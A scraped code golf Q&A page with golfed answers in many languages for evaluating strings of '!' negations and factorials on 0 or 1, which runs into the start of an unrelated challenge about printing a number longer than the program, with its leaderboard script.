``` Multiplying the digit value by the end-of-file condition means it will be converted to zero if the digit was followed by a `!`, thus giving it the same modulo 2 value as a `1` (which remember has been converted to 16). But before applying the modulo 2, we add the initial exclamation count, which effectively toggles the modulo 2 result as many times as their were `!` prefixes. And finally we *not* the result since our baseline values for `0` and `1` are the opposite of what we need. Looking at the code in more detail: ``` ~ Read a character from stdin. "!"- Subtract 33 (ASCII for '!'). : _ Make a duplicate and check if zero (i.e. is it a '!'). $1+ If so, drop the duplicate, increment a counter, and repeat. v Otherwise move to the second line, leaving the digit value on the stack. >0~` Read one more character and check if less than 0 (i.e. EOF). * Multiple by the digit value, making it zero if not followed by EOF. + Add to the exclamation count. 2% Modulo 2 the result. ! Then not that value. .@ And finally write to stdout and exit. ``` [Answer] # [Haskell](https://www.haskell.org/), 27 bytes ``` f('!':b)=1-f b f"0"=0 f _=1 ``` [Try it online!](https://tio.run/nexus/haskell#y03MzFOwVSgoyswrUVBRyE0sUEhTiFYyUNJRUFI0BJMGihAOhFI0gApCuVBFiiARhBiMDZaEGADVbwARgQpBNRgqxf5P01BXVLdK0rQ11E1TSOJKA7rB1oArTSHe1vD/fwA "Haskell – TIO Nexus") Each leading `!` complements the output for the rest of the expression, done as `1-`. We keep flipping until we hit a digit. If the remaining is just `"0"`, the result is 0. Otherwise, it's a `1` or is followed by one or more `!`, so the result is 1. [Answer] # Python, 38 bytes ``` lambda s:(s[1::2]>s[::2])^ord(s[-1])%2 ``` **[TryItOnline!](https://tio.run/nexus/python3#RY3RCsMgDEWf51fow7BCB9pHof0RsdDRCYWtHcb/d0viupfknpMLqWl8Lq/7ukjwHQTn/RAnCLjMfOT1624umusgygMKjEFb3UvtcFhFkaYirRxnVnyxqtVYtuLZbLaxQvN3lKNIR5b4Xm47bfDi8s7bXjok84PEeLKp9QM)** An unnamed function taking an input string `s` and returning an integer `0` or `1`. `s[1::2]` is a slice of the input string that starts at index 1 and has a step size of two: `'Like this' -> 'ieti'` `s[::2]` is similar but starts at the default index of 0: `'Like this' -> 'Lk hs'` The test `(s[1::2]>s[::2])` checks if the 0-based index of the `'0'` or `'1'` is odd, i.e. if we need to complement. This works because the ordering of strings is checked lexicographically with any non-empty string greater than the empty string, and with ASCII ordering, so `'1'>'0'>'!'`. This is a byte shorter than the simpler `s.index(max(s))%2`. The `ord(s[-1])%2` checks to see if the last character is not a `'0'` (for valid input), and results in an integer (whereas the same length `(s[-1]!='0')` would return a boolean). This works because the last character of the input, `s[-1]`, will be a `'0'`, `'1'`, or `'!'` which have ASCII code points 48, 49, and 33 respectively, which are 0, 1, and 1 modulo 2. The `^` then performs a bitwise exclusive or operation on the two above values, returning an integer since one input, the right one, is an integer. If the left is True the complement of the right is returned, if the left is False the right is returned, as required. [Answer] ## Ruby, ~~22 21~~ 20 bytes ``` ->s{(s=~/!*$|0$/)%2} ``` Explanation: * First case, I got some '!' at the end, remove them, get length modulo 2. * Second case, no '!', if last character is zero then remove it, get length modulo 2 * If the last character is 1, back to the first case (-1 byte stealing @Value Ink's idea) [Answer] # [APL (Dyalog Extended)](https://github.com/abrudz/dyalog-apl-extended), 21 bytes ``` ⍎⌽'!(\d.*)'⎕R'\1~'⍣≡⍞ ``` Repeatedly shift any !s to the right with the fixpoint ⍣≡ !!!!0! -> !!!0!~ -> !!0!~~ -> !0!~~~ -> 0!~~~~ Then reverse with ⌽, and execute with ⍎ [Try it online!](https://tio.run/##SyzI0U2pTMzJT9dNrShJzUtJTfn/qKM97f@j3r5HPXvVFTViUvS0NNUf9U0NUo8xrFN/1Lv4UefCR73zQMr@K4BBGpcBF4xlCGcZKCIEEUxFhFJFQyRRJBVIqg0UkQ1BUoNsjKIhAA "APL (Dyalog Extended) – Try It Online") [Answer] # [///](https://esolangs.org/wiki////), 27 bytes ``` /0!/1//!!///!1/0//!0/1//!// ``` [Try it online!](https://tio.run/##TYyxDYAwEAN7pogHQLYXYBcKJAq67K8nIZ@Ixvdv2a7PWe@rRlCgSYBNTDXVZ5Chsh9Fmzu8CYNOQkmPGEagHc5DWJXZQW4CniuYNawldPfvry9e "/// – Try It Online") [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 8 bytes ``` œr”!LḂ=V ``` [Try it online!](https://tio.run/nexus/jelly#@390ctGjhrmKPg93NNmG/X/UMMcAiA1BtCKIASIUQUKKhmAWmA8WNVCEKACLQJTA1ECEIDxFEB8uAmHOPdz@qGnN0UkPd874DwA "Jelly – TIO Nexus") This is a *function* (monadic link) that takes one argument and returns via its return value. (It also often writes junk to standard output as a side effect, but we don't care about that.) ## Explanation ``` œr”!LḂ=V œr”! Take {the input}, with all trailing ! deleted L Take the length of this Ḃ Take the parity of that length = Return 0 if unequal, 1 if equal to: V the value of {the input} when eval'ed as a niladic Jelly program ``` First, note that as the input always consists of some number of `!`, followed by a digit, followed by more `!`, that if we delete the trailing `!` and take the length, we'll end up with one plus the number of leading `!` in the program. Taking the parity of this will return 0 if there were an odd number of `!`, or 1 if there were an even number of `!`. Comparing to 0 is a "not" function, whereas comparing to 1 is the identity function; thus `œr”!LḂ=` effectively implements the "treat leading `!` as NOT operators" part of the question. As for the second half, handling factorials, `!` is a factorial operation in Jelly, so if the program has no leading `!`, we can solve the problem directly with a simple `eval` (`V`). If the program *does* have leading `!`, those will be interpreted as taking the factorial of 0 (possibly multiple times), producing a return value of 1, which will be printed to standard output and discarded once a digit is seen; thus, they have no impact on the return value of the function that's my submission to the question. [Answer] # Java 7, ~~105~~ ~~82~~ 81 bytes ``` int a(char[]a){int b=0,c=0;for(;a[b++]<34;c^=1);return(b<a.length?1:a[b-1]&1)^c;} ``` [Try it online!](https://tio.run/nexus/java-openjdk#lZDBisIwFEX3/YrExZDgGBJ0ZSyDzHpWLqXCa6waqGlJX2eQ0m/vRF0rvFUI3HfP4bZ9WXvHXA1dx37ABzZMPiAD4S4Q9wXI4f4tc/3pcm1PTRQW9uV8XmyWK@sOuZE2VtjHIMoNqLoKZ7x8mXXKLEzxYeTB2XFqn5QOAdPz2/gjuyaW2GH04ZwoUbIhe@CB5SxUfw8XIW22u3VYXVXTo2pTGOsgQIGY6ZnC5js5bmOEm5DyTdYQsppTiilhTlHmhtRM8iBZa04bhGRCm4S6CU2F1s7v/WTCi5MxG6d/ "Java (OpenJDK) – TIO Nexus") ### Old regex-ish solution ``` int a(String a){a=a.replace("0!","1").replaceAll("1.*","1");int b=a.length()-1;return b%2^a.charAt(b)&1;} ``` [Answer] ## [CJam](https://sourceforge.net/p/cjam), ~~12~~ 11 bytes ``` r_W='0=!\~; ``` [Try it online!](https://tio.run/nexus/cjam#@18UH26rbmCrGFNn/f@/oqKigaIiAA "CJam – TIO Nexus") [Test suite](https://tio.run/nexus/cjam#K/TTr1ZS0LVTUNLXsAqy/h8UH26rbmCrGFNn/T@mrs42v1b/vwFI3oDLEEQZchkoQmhDKK1oAKUNIcoUIQqADEMow0ARrgWmRxFqpqKiIcwURZg2RbhJiiBRZHE4DwA) (prints a `1` for each correct test case). ``` r e# Read input. _W='0= e# Duplicate and check whether the string ends in '0'. This is the e# only case in which the factorial part results in 0. ! e# Negate this to get the actual result of the factorial part. \ e# Swap with the input. ~ e# Evalute the input as CJam code. The leading `!` will apply the logical e# negations to the factorial result. The 0 or 1 will then push a junk value e# which is potentially negated a few times as well, by the factorials. ; e# Discard the junk value. ``` [Answer] # [Haskell](https://www.haskell.org/), ~~67~~ 65 bytes ``` f s|foldr(\_->not)(last s`elem`"1!")$fst.span(<'0')$s="1"|1<3="0" ``` [Try it online!](https://tio.run/nexus/haskell#DcNBCoAgEADAr2yLoB4Kpav2kiClFAK1aPfY362B6RnozVc5HrVu49Iu1qpEYqCQSqoB7YBaZOKJ7tiUk0ZqQR4tvtbNHg32Gs8GHs7G6Yk7g4Dch5/5fw "Haskell – TIO Nexus") Usage: `f "!!!0!!!!"` Saved two bytes thanks to @nimi. [Answer] # Brainfuck, 115 bytes ``` >,[->++++[<-------->-]<[--------------->,[<[-]+>-]<<[->-[>+<+]>[-<+>]<<]>>++++++[-<++++++++>]<.>>+<]>-[<<+>,>[-]]<] ``` [Try it online!](https://tio.run/nexus/brainfuck#VYxBCsBADALfknPWQu/iR4L/f8bWlr10IBBGcWsN1GGIg2AO/qQW536zPMKo2daArSjrG8lMxCH@ik6GYWorbZveu6ruXD0 "brainfuck – TIO Nexus") ## Ungolfed: ``` % 0: inverter count % 1: result % 2: if/else flag; tmpspace in inner loop 0 >1,[ ->2++++[<-------->-]<1 subtract 33 (!) [ % we've reached the number --------------- % now it's either 0 or 1 % check next char; If it's not 0 then it's '!' % 0! = 1! = 1!...! so we only need to determine if at least one ! exists >2, [<[-]+>-]<1 % apply inversions <0 [->1 % invert cell 1 once each iteration % cell 1 is 0 or 1 - % cell 1 is 255 or 1 [>+<+] % cell 1 is 0; cell 2 is 1 iff cell 1 should be 1 >2[-<+>]<1 % cell 1 is 1 or 0 <0] % print result >1>++++++[-<++++++++>]<1. >>2+< % tape={0 r 0 1} ] >2-[ % we haven't seen the number yet <<0+>1,>2 % add to inverter count [-] ]<1 ] ``` [Answer] # sed, ~~36~~ ~~33~~ 31 bytes Pure sed, no bc / shell utils. Works on GNU sed < 4.3; 33 bytes on BSD and GNU 4.3+. ``` s/.!!*$/1/ : s/!0/1/ s/!1/0/ t ``` Straightforward enough if you're familiar with `sed`; commented for those who aren't: ``` # Since 0! == 1! == 1 and factorial has precedence, just collapse any trailing "!" s/.!!*$/1/ # Define an anonymous label : # Invert 0 if needed s/!0/1/ # Invert 1 if needed s/!1/0/ # If a change was made, go back to the anonymous label. t ``` Test: ``` % cat 109248.sed s/.!!*$/1/ :l s/!0/1/ s/!1/0/ tl % wc -c 109248.sed 33 109248.sed % cat cases 0 1 0! 1! !0 !1 !0! !1! 0!! 1!! !!0 !!1 !0!! !!!1 !!!0!!!! !!!1!!!! % sed -f 109248.sed cases 0 1 1 1 1 0 0 0 1 1 0 1 0 0 0 0 % gsed -f 109248.sed cases 0 1 1 1 1 0 0 0 1 1 0 1 0 0 0 0 % ``` [Answer] # [><>](https://esolangs.org/wiki/Fish), 18 bytes ``` ib%:?\ +2%n;\i+3=l ``` [Try it online!](https://tio.run/##S8sszvj/PzNJ1co@hkvbSDXPOiZT29g25/9/RUVFAyAGAA "><> – Try It Online") Solved as part of [LYAL CMC](https://chat.stackexchange.com/transcript/message/59147177#59147177). The basic idea is to process from left to right, doing the following: * If the current char is `!` (boolean negation), keep it on the stack so that stack height can be used for negation count. * If the current char is `0` or `1`, take one more char and test if there's a factorial (modifying the number to 1 if there is). Apply negation, print as number, and halt. Optimizations: * To get the final number, we can simply do `2%` at the end, which means we can just add the stack height + 1 (because the final stack height would be one more than the number of negations). * To discriminate between 48/49 and 33, we can do `b%` (modulo 11, [idea](https://chat.stackexchange.com/transcript/message/59147302#59147302) by Jo King). * The (digit, factorial-or-EOF) combinations to handle are: ``` (48, 33) -> 1 (49, 33) -> 1 (48, -1) -> 0 (49, -1) -> 1 ``` We can use `48%11 = 4` and `49%11 = 5`. Then a simple way to handle these combinations is to check if the sum of two numbers is 3 or not. We could use "is not 3" for the condition, but it turns out that we can negate it and remove the extra `1+`. [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal), 16 bytes ``` `\d!+`1øṙ\!\¬VṘĖ ``` [Try it Online!](https://lyxal.pythonanywhere.com?flags=&code=%60%5Cd!%2B%601%C3%B8%E1%B9%99%5C!%5C%C2%ACV%E1%B9%98%C4%96&inputs=!!0&header=&footer=) We do a little regex. ## Explained ``` `\d!+`1øṙ\!\¬VṘĖ `\d!+` # The string "\\d!+" ( a regex that matches the digit followed by !) 1øṙ # and replace it with "1" (because 0! = 1! = 1) \!\¬V # replace any remaining "!" with "¬" (not) ṘĖ # then reverse and evaluate ``` ]
[Question] [ **Closed**. This question needs to be more [focused](/help/closed-questions). It is not currently accepting answers. Closed 8 years ago. **Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions. Your task is simple. Write a program that should obviously produce an error on first glance either when compiled or run, but either doesn't or produces some other unrelated error. This is a popularity contest, so be creative. [Answer] # C++ Make sure you compile the following code in standard conforming mode (for example, for g++ use the -ansi flag): ``` int main() { // why doesn't the following line give a type mismatch error??/ return "success!"; } ``` How it works: > > The ??/ is a trigraph sequence that is translated into a backslash which escapes the following newline, so the next line is still part of the comment and therefore won't generate a syntax error. Note that in C++, omitting the return in `main` is well defined and equivalent to returning 0, indicating a successful run. > > > [Answer] # Ruby Always a fan of this one. ``` x = x ``` No `NameError`. x is now `nil`. > > This is just a "feature" of Ruby :-) > > > Here's a more mundane one that's gotten me before: ``` x = 42 if x < 0 raise Exception, "no negatives please" elseif x == 42 raise Exception, "ah! the meaning of life" else p 'nothing to see here...' end ``` Prints "nothing to see here." > > It's **elsif**, not **elseif**. (and it's certainly not **elif** - woe to the wayward python programmer (me)!) So to the interpreter **elseif** looks like a normal method call, and since we don't enter the x<0 block, we go straight on to **else** and don't raise an exception. This bug is incredibly obvious in any syntax-highlighting environment, thankfully (?) code golf is not such an environment. > > > [Answer] # C? Pretty normal code here... ``` void main() = main--; ``` > > It's Haskell, not C. It defines a function named "void" that takes two arguments. The first is named "main" and if the second (unnamed) is an empty tuple, it returns the "main" variable. "--" starts a comment in Haskell, so the ";" is commented out. > > > [Answer] # JavaScript ``` var а = 100; if (typeof a !== 'undefined') throw 'This should always throw, right?'; console.log('How am I still alive?'); ``` Here's how it works: > > The first `a` is actually an `а` (that is, Cryllic Unicode "a"). > > > [Answer] # JavaScript When I was providing the following code I was told many times *"It must be a typo! How can it work?"*. ``` console.log( 42..toString(2) ); ``` The description below was copied exactly from [one the recent cases](https://codegolf.stackexchange.com/a/21381/14901). > > As you probably know, in JavaScript everything except literals is an object. Numbers are objects as well. So theoretically (and practically) you may get properties or call methods of any non-literal via dot notation, as you do `'string'.length` or `[1,2,3].pop()`. In case of numbers you may do the same but you should keep in mind that after a single dot the parser will look for a fractional part of the number expecting a float value (as in `123.45`). If you use an integer you should "tell" the parser that a fractional part is empty, setting an extra dot before addressing a property: `123..method()`. > > > [Answer] # bash ``` #!/bin/bash [ 1 < 2 ] && exit for i in `seq 1 $[2 ** 64]` do "$0" | "$0" done while [[ false ]] do : done if maybe do [: [: [: [: [; [; [; [; ;] ;] ;] ;] :] :] :] :] fi ``` ### Results * You might expect the script not to produce any errors at all, since it exits after the first command. It doesn't. * You might expect the typical error messages caused by an ongoing fork bomb due to the `for` loop. There's no fork bomb. * You might expect bash to complain about the missing `maybe` command or the whole bunch of syntax error inside the `if` block. It won't. * The only error message the script *might* produce ends in `2: No such file or directory`. ### Explanation * > > `[` isn't special to bash, so `< 2` performs, as usual, redirection. Unless there is a file with name `2` in the current directory, this will cause an error. > > > * > > Due to that error above, the command before `&&` will have a non-zero exit status and `exit` will not be executed. > > > * > > The `for` loop isn't infinite. In fact, there's no loop at all. Since bash cannot compute the 64th power of 2, the arithmetic expression's result is `0`. > > > * > > `[[ false ]]` tests if `false` is a null string. It isn't, so this `while` loop is infinite. > > > * > > Because of the above, the `if` statement never gets executed, so no errors get detected. > > > [Answer] ## Perl ``` use strict; use warnings; Syntax error! exit 0; ``` Source and explanation: <https://stackoverflow.com/questions/11695110> [Answer] # Java ``` class Gotcha { public static void main(String... args) { try { main(); } finally { main(); } } } ``` No stack overflows here; move along. > > At first glance, this should produce a `StackOverflowError`, but it doesn't! It actually just runs forever (for all practical purposes at least; technically it would terminate after a time many orders of magnitude longer than the age of the universe). If you want to know how/why this works, see [this](https://stackoverflow.com/questions/12438786/try-finally-block-prevents-stackoverflowerror). Also, if you happen to be wondering why we can call `main()` without arguments when the main method generally would need a `String[]` argument: it's because we've declared it to be variable-argument here, which is perfectly valid. > > > [Answer] # CoffeeScript ``` What? No error? Yep, this code does not have any bugs, why would it? ``` > > `?` followed by a space is operator that calls a function, but only if it exists. JavaScript doesn't have a function called `What`, therefore the function isn't called, and its arguments are simply ignored. The other words in the code are function calls that actually aren't called, because `What` function doesn't exist. At end, `?` is existence operator, as it is not used in call function. Other sentence enders, such as `.` or `!` would not work, as `.` is for methods, and `!` is not operator (which cannot be used after an identifier). > > To read how CoffeeScript converted this to JavaScript, visit <http://coffeescript.org/#try:What%3F%20No%20error%3F%20Yep%2C%20this%20code%20does%20not%20have%20any%20bugs%2C%20why%20it%20would%3F>. > > > [Answer] # VBScript The `&` operator in VBScript is string concatenation but what on earth are the `&&` and `&&&` operators? (Recall that the "and" operator in VBScript is `And`, not `&&`.) ``` x = 10&987&&654&&&321 ``` That program fragment is legal VBScript. Why? And what is the value of `x`? > > The lexer breaks this down as `x = 10 & 987 & &654& & &321`. An integer literal which begins with `&` is, bizarrely enough, an octal literal. An octal literal which ends with `&` is, even more bizarrely, a long integer. So the value of x is the concatenation of the decimal values of those four integers: `10987428209`. > > > [Answer] # Objective-C Not a big deal, but it has surprised me while trying to put a link inside a comment: ``` http://www.google.com return 42; ``` > > http is a code label here, such labels are used in goto instructions > > > [Answer] # C# ``` class Foo { static void Main(string[] args) { Bar(); } static IEnumerable<object> Bar() { throw new Exception("I am invincible!"); yield break; } } ``` > > Because the `Bar` method does a `yield`, the method doesn't actually run when called, it returns an enumerator which, when iterated,s runs the method. > > > [Answer] ## C ``` main=195; ``` > > Works on x86 platforms, where 195 is the opcode for ret. Does nothing, > > > [Answer] # Java Probably too obvious. ``` public static void main(String[] varargs) throws Exception{ char a, b = (char)Integer.parseInt("000d",16); // Chars have \u000d as value, so they're equal if(a == b){ throw new Exception("This should be thrown"); } } ``` What? > > Throws a syntax error after `\u000d`. `\u000d` is the unicode for a new line. Even though it is commented out, the Java compiler treats what is after this as code since it isn't commented out anymore. > > > [Answer] # C++ ``` #include <iostream> int succ(int x) { return x + 1; } int succ(double x) { return int(x + 1.0); } int succ(int *p) { return *p + 1; } int main() { std::cout << succ(NULL) << '\n'; } ``` Why? > > `NULL` is an intergal constant, so it matches the `int` overload strictly better than the `int*` one. Still, most programmers have `NULL` associated with pointers, so a null pointer dereference can be expected. > > > [Answer] ## Python ``` print """""quintuple-quoted strings!""""" ``` > > Perfectly valid, but the output is hard to guess. The first 3 " characters start a multiline string and the next two are part of the string. At the end, the first three "s terminate the string and the last two are an empty string literal that gets concatenated by the parser to the multiline string. > > > [Answer] ## **JavaScript** ``` if (1/0 === -1/0) { throw "Surely there's an error in here somewhere..."; } ``` How it works: > > There's positive and negative infinity in JS, and no error for dividing by zero. > > > [Answer] ## C++ Mixing trigraphs and space-less lambdas can be quite confusing and definitely look erroneous to people who are not aware of trigraphs: ``` int main() { return??-??(??)()??<return"??/x00FF";??>()??(0??); } ``` How it works: > > Some sequences consisting of 3 symbols, beginning with ??, are called trigraphs and will be substituted by a fully-compliant preprocessor. Preprocessed, the line in question looks as follows: **return ~[] (){ return "\x00FF"; }()[0];** As one can see, this is nothing but a superfluous lambda function returning a string consisting of the 0xFFth character. The **[0]** just extracts that character and **~** NOTs it, so 0 is returned. > > > [Answer] ## VBA/VB6 ``` Private Sub DivByZero() Dim x() As String x = Split(vbNullString, ",") Debug.Print 1 / UBound(x) End Sub ``` Splitting an empty comma delimited string should give an empty array. Should be an obvious division by zero error, right? > > Nope. Surprisingly, when any zero length string is split the runtime > gives you an array with a lower bound of 0 and an upper bound of -1. > The code above will output -1. > > > [Answer] # Javascript ``` 5..toString(); 5 .toString(); ``` Gives: 5 Whereas: ``` 5.toString(); ``` Gives SyntaxError How it works: > > JavaScript tries to parse dot on a number as a floating point literal > > > [Answer] # HTML First post here, I'm not sure I get this or not, but here goes. ``` <html> <head></head> <body> <?php $_POST['non-existant'] = $idontexisteither ?> </body> </html> ``` --- > > It's a `.html` file... > > > [Answer] # VBScript Visual Basic 6 users will know that ``` If Blah Then Foo Bar ``` is legal, as is ``` If Blah Then Foo Bar End If ``` But what about ``` If Blah Then Foo Bar End If ``` ? Turns out that is legal in VBScript but not in VB6. Why? > > It's a bug in the parser; the intention was to reject this. The code which detects the `End If` was supposed to also check whether it was a multi-line `If` statement, and it did not. When I tried to fix it and sent out a beta with the fix, a certain influential industry news organization discovered that they had this line of code in one of their VBScript programs and said they would give the new version a low rating unless we un-fixed the bug, because they didn't want to change their source code. > > > [Answer] # C This reminded me of an error I ran into when I learned C. Sadly the original variant doesn't seem to work with a current GCC, but this one still does: ``` #define ARR_SIZE 1234 int main() { int i = ARR_SIZE; int arr[ARR_SIZE]; while(i >= 0) { (--i)[arr] = 0; } i = *(int*)0; } ``` This obviously segfaults because we dereference a null pointer, right? > > Wrong - actually, it's an infinite loop as our loop condition is off by one. Due to the prefix decrement, `i` runs from 1023 to -1. This means the assignment overwrites not only all elements in `arr`, but also the memory location directly before it - which happens to be the place where `i` is stored. On reaching `-1`, `i` overwrites itself with `0` and thus the loop condition is fulfilled again... > > > This was the original variant I which I can't reproduce anymore: > > The same thing worked with `i` going upwards from 0 and being off by one. The latest GCC always stores `i` before `arr` in memory; this must have been different in older versions (maybe depending on declaration order). It was an actual error I produced in one of my first toy programs dealing with arrays. > > > Also, this one's obvious if you know how pointers work in C, but can be surprising if you don't: > > You might think that the assignment to `(--i)[arr]` throws an error, but it's valid and equivalent to `arr[--i]`. An expression `a[x]` is just syntactic sugar for `*(a + x)` which computes and dereferences the pointer to the indexed element; the addition is of course commutative and thus equivalent to `*(x + a)`. > > > [Answer] ## Java ``` public class WhatTheHeckException extends RuntimeException { private static double d; // Uninitialized variable public static void main(String... args) { if (d/d==d/d) throw new WhatTheHeckException(); // Well that should always be true right? == is reflexive! System.out.println("Nothing to see here..."); } } ``` Why this works: > > Unitialized fields have default values. In this case **d** is just **0**. **0/0 = NaN** in double division, and **NaN** never equals itself, so the **if** returns false. Note this would not work if you had **0/0==0/0**, as at would be integer **0/0** division would WOULD throw an **ArithmeticException**. > > > [Answer] # PHP (40 bytes) ``` <?for(;;$e.=$e++)foreach($e::$e()as&$e); ``` This was the answer I gave in this question: [Insanity Check Program](https://codegolf.stackexchange.com/questions/19115/insanity-check-program/20421#20421) The idea was to make a code that produced errors. The 1st error that we will think of, is a syntax error. There are no syntax errors... Other would be that the class/function doesn't exist. It doesn't run that far... Other would be a time-out or a memory overflow, but, again, it doesn't reach that far... Test the code here: <http://writecodeonline.com/php/> (remove the `<?` on the beginning to test). [Answer] # C++11 ``` struct comp { comp operator compl () { return comp { }; } operator comp () { return comp { }; } compl comp () { return; comp { }; } }; int main() { comp com; compl com; } ``` Compiles and runs without any warnings with `g++ -pedantic-errors -std=c++11`. > > `compl` is a standard alternative spelling for `~`, just like `not` is an alternative for `!`. `compl` is used here to first override `operator~` and then define a destructor. Another trick is that `operator comp` is a conversion function from the type `comp` to itself. Surprisingly the standard does not forbid such a conversion function - but it does say that such a function is never used. > > > [Answer] # VBScript ``` function[:(](["):"]):[:(]=["):"]: end function msgbox getref(":(")(":)") 'Output: :) ``` What it does: > > Function, Sub and Variable Names in VBScript can be anything if you use square brackets. This script makes a function called `:(` and one argument `"):"` but because they do not follow normal naming convention they are surrounded by square brackets. The return value is set to the parameter value. An additional colon is used to get everything on one line. The Msgbox statement gets a reference to the function (but does not need the brackets) and calls it with a smiley `:)` as parameter. > > > [Answer] ## C# Actually I caught myself on mistakenly doing just that :) ``` public static object Crash(int i) { if (i > 0) return i + 1; else return new ArgumentOutOfRangeException("i"); } public static void Main() { Crash(-1); } ``` > > **throw**, not **return**. > > > [Answer] # Java ``` enum derp { public static void main(String[] a) { System.out.println(new org.yaml.snakeyaml.Yaml().dump(new java.awt.Point())); } } ``` And how that one works: > > Firs you think the Enum is not valid but its valid; then you think it will print a standard Point objects attributes but Gotcha! due to how Snakeyaml serializes you get a smooth StackOverFLow error > > > And another one: ``` enum derp { ;public static void main(String[] a) { main(a); } static int x = 1; static { System.exit(x); } } ``` > > you think a Stackoverflow will happen due to the obvious recursion but the program abuses the fact that when you run it the `static{} block` will be executed first and due to that it exits before the main() loads > > > ``` enum derp { ; public static void main( String[] a) { int aa=1; int ab=0x000d; //setting integer ab to \u000d /*) ab=0; /*Error!*/ aa/=ab; } static int x = 1; } ``` > > this one relies on that `/*Error*/`-commented out code as closing point for the comment opened before the ab=0; the explain about the integer ab to 0x000d hides the newline to activate the commentout of the next line > > > [Answer] # C Strings and arrays in c can be pretty confusing ``` main(){ int i=0; char string[64]="Hello world;H%s"; while(strlen(&i++[string])){ i[' '+string]=string[i]-' '; } 5[string]=44; return printf(string,'!'+string); } ``` ]
[Question] [ I think the question as above is clear, but just in case: * Write a *full* program (not just a function) which prints a positive base 10 integer, optionally followed by a single newline. * Qualifying programs will be those whose output is longer (**in bytes**) than the source code of the program, measured in bytes (assuming ASCII or UTF-8 encoding for the program source code). I.e. the code must be shorter than the number of digits in the resulting number. * Leading zeros are disallowed under all circumstances. Counting leading zeroes trivialises the problem; ignoring leading zeros unnecessarily complicates the question. * The winning program will be the qualifying program which prints the integer with the smallest magnitude. ### Leaderboard snippet ``` var QUESTION_ID = 67921; var ANSWER_FILTER = "!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe"; var COMMENT_FILTER = "!)Q2B_A2kjfAiU78X(md6BoYk"; var answers = [], answers_hash, answer_ids, answer_page = 1, more_answers = true, comment_page; function answersUrl(index) { return "https://api.stackexchange.com/2.2/questions/" + QUESTION_ID + "/answers?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + ANSWER_FILTER; } function commentUrl(index, answers) { return "https://api.stackexchange.com/2.2/answers/" + answers.join(';') + "/comments?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + COMMENT_FILTER; } function getAnswers() { jQuery.ajax({ url: answersUrl(answer_page++), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { answers.push.apply(answers, data.items); answers_hash = []; answer_ids = []; data.items.forEach(function(a) { a.comments = []; var id = +a.share_link.match(/\d+/); answer_ids.push(id); answers_hash[id] = a; }); if (!data.has_more) more_answers = false; comment_page = 1; getComments(); } }); } function getComments() { jQuery.ajax({ url: commentUrl(comment_page++, answer_ids), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { if (data.has_more) getComments(); else if (more_answers) getAnswers(); else process(); } }); } getAnswers(); var SCORE_REG = /<h\d>\s*([^\n,<]*(?:<(?:[^\n>]*>[^\n<]*<\/[^\n>]*>)[^\n,<]*)*)(?:,|[-\u2013] ).*?([\d,^!e+]+)(?=\:?[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/; var OVERRIDE_REG = /^Override\s*header:\s*/i; function getAuthorName(a) { return a.owner.display_name; } function process() { var valid = []; answers.forEach(function(a) { var body = a.body; a.comments.forEach(function(c) { if(OVERRIDE_REG.test(c.body)) body = '<h1>' + c.body.replace(OVERRIDE_REG, '') + '</h1>'; }); var match = body.replace(/<sup>([^\n<]*)<\/sup>/g, "^$1").replace(/\(\d+(?:\^\d+,)? [\w\s]+\)/g, "").replace(/floor\(10\^(\d+)\/9\)/g, "$1 ones").replace(/(\d+) ones/g, function (_, x) { return Array(+x + 1).join(1); }).match(SCORE_REG); if (match) valid.push({ user: getAuthorName(a), size: +match[2].replace(/,/g, "").replace(/(\d+)\s*\^\s*(\d+)/, function (_, a, b) { return Math.pow(a, b); }).replace(/(\d+)!/, function (_, n) { for (var i = 1, j = 1; i <= n; i++) j *= i; return j; }), language: match[1], link: a.share_link, }); else console.log(body); }); valid.sort(function (a, b) { var aB = a.size, bB = b.size; return aB - bB }); var languages = {}; var place = 1; var lastSize = null; var lastPlace = 1; valid.forEach(function (a) { if (a.size != lastSize) lastPlace = place; lastSize = a.size; ++place; var answer = jQuery("#answer-template").html(); answer = answer.replace("{{PLACE}}", lastPlace + ".") .replace("{{NAME}}", a.user) .replace("{{LANGUAGE}}", a.language) .replace("{{SIZE}}", a.size) .replace("{{LINK}}", a.link); answer = jQuery(answer); jQuery("#answers").append(answer); var lang = a.language; lang = jQuery('<a>'+lang+'</a>').text(); languages[lang] = languages[lang] || {lang: a.language, lang_raw: lang.toLowerCase(), user: a.user, size: a.size, link: a.link}; }); var langs = []; for (var lang in languages) if (languages.hasOwnProperty(lang)) langs.push(languages[lang]); langs.sort(function (a, b) { if (a.lang_raw > b.lang_raw) return 1; if (a.lang_raw < b.lang_raw) return -1; return 0; }); for (var i = 0; i < langs.length; ++i) { var language = jQuery("#language-template").html(); var lang = langs[i]; language = language.replace("{{LANGUAGE}}", lang.lang) .replace("{{NAME}}", lang.user) .replace("{{SIZE}}", lang.size) .replace("{{LINK}}", lang.link); language = jQuery(language); jQuery("#languages").append(language); } } ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <style>body { text-align: left !important} #answer-list { padding: 10px; width: 290px; float: left; } #language-list { padding: 10px; width: 290px; float: left; } table thead { font-weight: bold; } table td { padding: 5px; }</style> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="language-list"> <h2>Shortest Solution by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr> </thead> <tbody id="languages"> </tbody> </table> </div> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr> </thead> <tbody id="answers"> </tbody> </table> </div> <table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a 